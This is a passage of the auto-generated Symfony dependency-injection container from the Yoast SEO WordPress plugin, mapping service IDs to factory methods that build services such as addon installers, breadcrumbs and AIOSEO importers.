            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher' => 'getIndexableStaticHomePageWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher' => 'getIndexableSystemPageWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher' => 'getIndexableTaxonomyChangeWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher' => 'getIndexableTermWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher' => 'getOptionTitlesWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher' => 'getOptionWpseoWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher' => 'getPrimaryCategoryQuickEditWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher' => 'getPrimaryTermWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher' => 'getSearchEnginesDiscouragedWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher' => 'getWoocommerceBetaEditorWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\XMLRPC' => 'getXMLRPCService',
            'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell' => 'getAiGenerateTitlesAndDescriptionsIntroductionUpsellService',
            'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => 'getIntroductionsCollectorService',
            'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository' => 'getWistiaEmbedPermissionRepositoryService',
            'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration' => 'getIntroductionsIntegrationService',
            'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route' => 'getIntroductionsSeenRouteService',
            'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route' => 'getWistiaEmbedPermissionRouteService',
            'Yoast\\WP\\SEO\\Loader' => 'getLoaderService',
            'Yoast\\WP\\SEO\\Loggers\\Logger' => 'getLoggerService',
            'Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer' => 'getMetaTagsContextMemoizerService',
            'Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer' => 'getPresentationMemoizerService',
            'Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation' => 'getAbstractPresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation' => 'getIndexableAuthorArchivePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation' => 'getIndexableDateArchivePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation' => 'getIndexableErrorPagePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation' => 'getIndexableHomePagePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation' => 'getIndexablePostTypeArchivePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation' => 'getIndexablePostTypePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation' => 'getIndexablePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation' => 'getIndexableSearchResultPagePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation' => 'getIndexableStaticHomePagePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation' => 'getIndexableStaticPostsPagePresentationService',
            'Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation' => 'getIndexableTermArchivePresentationService',
            'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager' => 'getPromotionManagerService',
            'Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository' => 'getIndexableCleanupRepositoryService',
            'Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository' => 'getIndexableHierarchyRepositoryService',
            'Yoast\\WP\\SEO\\Repositories\\Indexable_Repository' => 'getIndexableRepositoryService',
            'Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository' => 'getPrimaryTermRepositoryService',
            'Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository' => 'getSEOLinksRepositoryService',
            'Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route' => 'getAlertDismissalRouteService',
            'Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route' => 'getFirstTimeConfigurationRouteService',
            'Yoast\\WP\\SEO\\Routes\\Importing_Route' => 'getImportingRouteService',
            'Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route' => 'getIndexablesHeadRouteService',
            'Yoast\\WP\\SEO\\Routes\\Indexing_Route' => 'getIndexingRouteService',
            'Yoast\\WP\\SEO\\Routes\\Integrations_Route' => 'getIntegrationsRouteService',
            'Yoast\\WP\\SEO\\Routes\\Meta_Search_Route' => 'getMetaSearchRouteService',
            'Yoast\\WP\\SEO\\Routes\\SEMrush_Route' => 'getSEMrushRouteService',
            'Yoast\\WP\\SEO\\Routes\\Supported_Features_Route' => 'getSupportedFeaturesRouteService',
            'Yoast\\WP\\SEO\\Routes\\Wincher_Route' => 'getWincherRouteService',
            'Yoast\\WP\\SEO\\Routes\\Workouts_Route' => 'getWorkoutsRouteService',
            'Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field' => 'getYoastHeadRESTFieldService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check' => 'getDefaultTaglineCheckService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports' => 'getDefaultTaglineReportsService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner' => 'getDefaultTaglineRunnerService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check' => 'getLinksTableCheckService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports' => 'getLinksTableReportsService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner' => 'getLinksTableRunnerService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory' => 'getMyYoastApiRequestFactoryService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check' => 'getPageCommentsCheckService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports' => 'getPageCommentsReportsService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner' => 'getPageCommentsRunnerService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check' => 'getPostnamePermalinkCheckService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports' => 'getPostnamePermalinkReportsService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner' => 'getPostnamePermalinkRunnerService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder' => 'getReportBuilderService',
            'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory' => 'getReportBuilderFactoryService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service' => 'getAioseoReplacevarServiceService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service' => 'getAioseoRobotsProviderServiceService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service' => 'getAioseoRobotsTransformerServiceService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service' => 'getAioseoSocialImagesProviderServiceService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service' => 'getConflictingPluginsServiceService',
            'Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service' => 'getImportableDetectorServiceService',
            'Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager' => 'getIndexableVersionManagerService',
            'Yoast\\WP\\SEO\\Surfaces\\Classes_Surface' => 'getClassesSurfaceService',
            'Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface' => 'getHelpersSurfaceService',
            'Yoast\\WP\\SEO\\Surfaces\\Meta_Surface' => 'getMetaSurfaceService',
            'Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface' => 'getOpenGraphHelpersSurfaceService',
            'Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface' => 'getSchemaHelpersSurfaceService',
            'Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface' => 'getTwitterHelpersSurfaceService',
            'Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector' => 'getAdditionalContactmethodsCollectorService',
            'Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector' => 'getCustomMetaCollectorService',
            'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration' => 'getAdditionalContactmethodsIntegrationService',
            'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration' => 'getCleanupIntegration2Service',
            'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration' => 'getCustomMetaIntegrationService',
            'Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui' => 'getUserProfilesAdditionsUiService',
            'Yoast\\WP\\SEO\\Values\\Images' => 'getImagesService',
            'Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions' => 'getIndexableBuilderVersionsService',
            'Yoast\\WP\\SEO\\Values\\Open_Graph\\Images' => 'getImages2Service',
            'Yoast\\WP\\SEO\\Values\\Twitter\\Images' => 'getImages3Service',
            'Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper' => 'getWPQueryWrapperService',
            'Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler' => 'getWPRemoteHandlerService',
            'Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper' => 'getWPRewriteWrapperService',
            'Yoast_Notification_Center' => 'getYoastNotificationCenterService',
            'wpdb' => 'getWpdbService',
        ];
        $this->privates = [
            'YoastSEO_Vendor\\YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => true,
            'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => true,
            'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => true,
        ];
        $this->aliases = [
            'YoastSEO_Vendor\\YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => 'service_container',
        ];
    }

    public function getRemovedIds()
    {
        return [
            'Psr\\Container\\ContainerInterface' => true,
            'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => true,
            'YoastSEO_Vendor\\YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => true,
            'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Bucket' => true,
            'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Count' => true,
            'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Bucket' => true,
            'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Count' => true,
            'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Configuration\\Dashboard_Configuration' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Content_Types\\Content_Types_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Endpoints\\Endpoints_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Filter_Pairs\\Filter_Pairs_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Type' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Types_List' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_List' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Filter_Pairs_Interface' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Product_Category_Filter_Pair' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Bad_Readability_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Good_Readability_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\No_Readability_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Ok_Readability_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Score' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Scores_List' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Result' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Results_Not_Found_Exception' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Domain\\Taxonomies\\Taxonomy' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Readability_Scores_Endpoint' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\SEO_Scores_Endpoint' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Nonces\\Nonce_Repository' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Groups\\Score_Group_Link_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Cached_Readability_Score_Results_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\Cached_SEO_Score_Results_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomies_Collector' => true,
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomy_Validator' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Features_List' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Description' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Keyphrase' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Social' => true,
            'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Title' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Cornerstone_Content' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Inclusive_Language_Analysis' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Jetpack_Markdown' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Multilingual' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\News_SEO' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Semrush' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Wincher' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce_SEO' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Keyphrase_Analysis' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Previously_Used_Keyphrase' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Readability_Analysis' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Description_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Keyphrase_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Social_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Title_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Description_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Keyphrase_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Social_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Title_Data_Provider' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Post_Site_Information' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Term_Site_Information' => true,
            'Yoast\\WP\\SEO\\Editors\\Framework\\Word_Form_Recognition' => true,
            'Yoast\\WP\\SEO\\Elementor\\Infrastructure\\Request_Post' => true,
            'Yoast\\WP\\SEO\\Images\\Application\\Image_Content_Extractor' => true,
            'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Fix_Assessments_Upsell' => true,
            'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => true,
            'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Interface' => true,
            'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Item' => true,
            'Yoast\\WP\\SEO\\Introductions\\Domain\\Introductions_Bucket' => true,
            'Yoast\\WP\\SEO\\Introductions\\Domain\\Invalid_User_Id_Exception' => true,
            'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository' => true,
            'Yoast\\WP\\SEO\\Presenters\\Robots_Txt_Presenter' => true,
            'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager_Interface' => true,
            'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Checklist_Promotion' => true,
            'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Promotion' => true,
            'Yoast\\WP\\SEO\\Promotions\\Domain\\Time_Interval' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Application\\Cleanup_Service' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Facebook' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Instagram' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Linkedin' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Myspace' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Pinterest' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Soundcloud' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Tumblr' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Wikipedia' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\X' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Youtube' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Metadesc' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Title' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Content_Analysis_Disable' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Inclusive_Language_Analysis_Disable' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Keyword_Analysis_Disable' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Noindex_Author' => true,
            'Yoast\\WP\\SEO\\User_Meta\\Infrastructure\\Cleanup_Repository' => true,
        ];
    }

    public function compile()
    {
        throw new LogicException('You cannot compile a dumped container that was already compiled.');
    }

    public function isCompiled()
    {
        return true;
    }

    public function isFrozen()
    {
        @trigger_error(sprintf('The %s() method is deprecated since Symfony 3.3 and will be removed in 4.0. Use the isCompiled() method instead.', __METHOD__), E_USER_DEPRECATED);

        return true;
    }

    /**
     * Gets the public 'WPSEO_Addon_Manager' shared service.
     *
     * @return \WPSEO_Addon_Manager
     */
    protected function getWPSEOAddonManagerService()
    {
        return $this->services['WPSEO_Addon_Manager'] = \Yoast\WP\SEO\WordPress\Wrapper::get_addon_manager();
    }

    /**
     * Gets the public 'WPSEO_Admin_Asset_Manager' shared service.
     *
     * @return \WPSEO_Admin_Asset_Manager
     */
    protected function getWPSEOAdminAssetManagerService()
    {
        return $this->services['WPSEO_Admin_Asset_Manager'] = \Yoast\WP\SEO\WordPress\Wrapper::get_admin_asset_manager();
    }

    /**
     * Gets the public 'WPSEO_Breadcrumbs' shared autowired service.
     *
     * @return \WPSEO_Breadcrumbs
     */
    protected function getWPSEOBreadcrumbsService()
    {
        return $this->services['WPSEO_Breadcrumbs'] = new \WPSEO_Breadcrumbs();
    }

    /**
     * Gets the public 'WPSEO_Frontend' shared autowired service.
     *
     * @return \WPSEO_Frontend
     */
    protected function getWPSEOFrontendService()
    {
        return $this->services['WPSEO_Frontend'] = new \WPSEO_Frontend();
    }

    /**
     * Gets the public 'WPSEO_Replace_Vars' shared service.
     *
     * @return \WPSEO_Replace_Vars
     */
    protected function getWPSEOReplaceVarsService()
    {
        return $this->services['WPSEO_Replace_Vars'] = \Yoast\WP\SEO\WordPress\Wrapper::get_replace_vars();
    }

    /**
     * Gets the public 'WPSEO_Shortlinker' shared service.
     *
     * @return \WPSEO_Shortlinker
     */
    protected function getWPSEOShortlinkerService()
    {
        return $this->services['WPSEO_Shortlinker'] = \Yoast\WP\SEO\WordPress\Wrapper::get_shortlinker();
    }

    /**
     * Gets the public 'WPSEO_Utils' shared service.
     *
     * @return \WPSEO_Utils
     */
    protected function getWPSEOUtilsService()
    {
        return $this->services['WPSEO_Utils'] = \Yoast\WP\SEO\WordPress\Wrapper::get_utils();
    }

    /**
     * Gets the public 'Yoast\WP\Lib\Migrations\Adapter' shared autowired service.
     *
     * @return \Yoast\WP\Lib\Migrations\Adapter
     */
    protected function getAdapterService()
    {
        return $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action
     */
    protected function getAddonActivateActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action'] = new \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action(${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action
     */
    protected function getAddonInstallActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action'] = new \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action(${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Alert_Dismissal_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Alert_Dismissal_Action
     */
    protected function getAlertDismissalActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] = new \Yoast\WP\SEO\Actions\Alert_Dismissal_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action
     */
    protected function getFirstTimeConfigurationActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action'] = new \Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] : $this->getSocialProfilesHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action
     */
    protected function getAioseoCleanupActionService()
    {
        $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action(${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});

        $instance->set_aioseo_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action
     */
    protected function getAioseoCustomArchiveSettingsImportingActionService()
    {
